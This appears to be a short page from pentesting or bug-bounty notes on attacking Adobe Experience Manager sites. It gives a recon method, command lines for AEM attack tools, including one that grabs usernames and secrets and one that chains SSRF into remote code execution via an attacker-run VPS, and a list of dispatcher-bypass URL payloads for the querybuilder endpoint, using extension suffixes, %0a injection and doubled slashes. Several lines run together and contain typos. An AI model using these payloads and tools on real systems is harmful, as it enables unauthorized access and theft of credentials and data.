Edit

AEM [Adobe CMS]

video

https://www.youtube.com/watch?v=EQNBQCQMouk

method

  • collect sub domain

  • use nuclei/nuclei-templates/technologies/tech-detect.yaml to identifiy aem

  • Python3 ./aem_hacker.py –u https://example — host localhost

  • use ../fuzzing/service/aem.txt to fuzz on path

aem tools

python3 aem_hacker.py    -u     --host yourvpshostname         =>comman usagepython3 aem_discovery.py --file urls.txt --workers 150         =>discover urlpython3 aem_enum.py      --url                                 => automate usernames and secrets grabbingpython3 aem_ssrf2rce.py  --url  --fakaem yourvbspython3 aem_server.py

aem dispatcher bypasses

<https://aemsite/bin/querybuilder.json>              => blocked<https://aemsite/bin/querybuilder.json/a.css>        => allow<https://aemsite/bin/querybuilder.json/a.html>       => allow<https://aemsite/bin/querybuilder.json/a.ico>        => allow<https://aemsite/bin/querybuilder.json/a.png>        => allow<https://aemsite/bin/querybuilder.json;%0aa.css>     => allow<https://aemsite/bin/querybuilder.json/a.1.json>     => allow
<https://aemsite/bin/querybuilder.json>              => blocked<https://aemsite/bin/querybuilder.json/a.css>        => block<https://aemsite/bin/querybuilder.json;%0aa.css>     => block<https://aemsite/bin/querybuilder.json.servlet.css>  => allow<https://aemsite/bin/querybuilder.json.servlet.html> => allow<https://aemsite/bin/querybuilder.json.servlet.ico>  => allow<https://aemsite/bin/querybuilder.json.servlet.png>  => allow///etc.json                 instead of  /etc.json///bin///quesrybuilder.json instead of  /bin/quesrybuilder.json
PreviousCMSNextXSSI (Cross Site Script Inclusion)

Last updated

Was this helpful?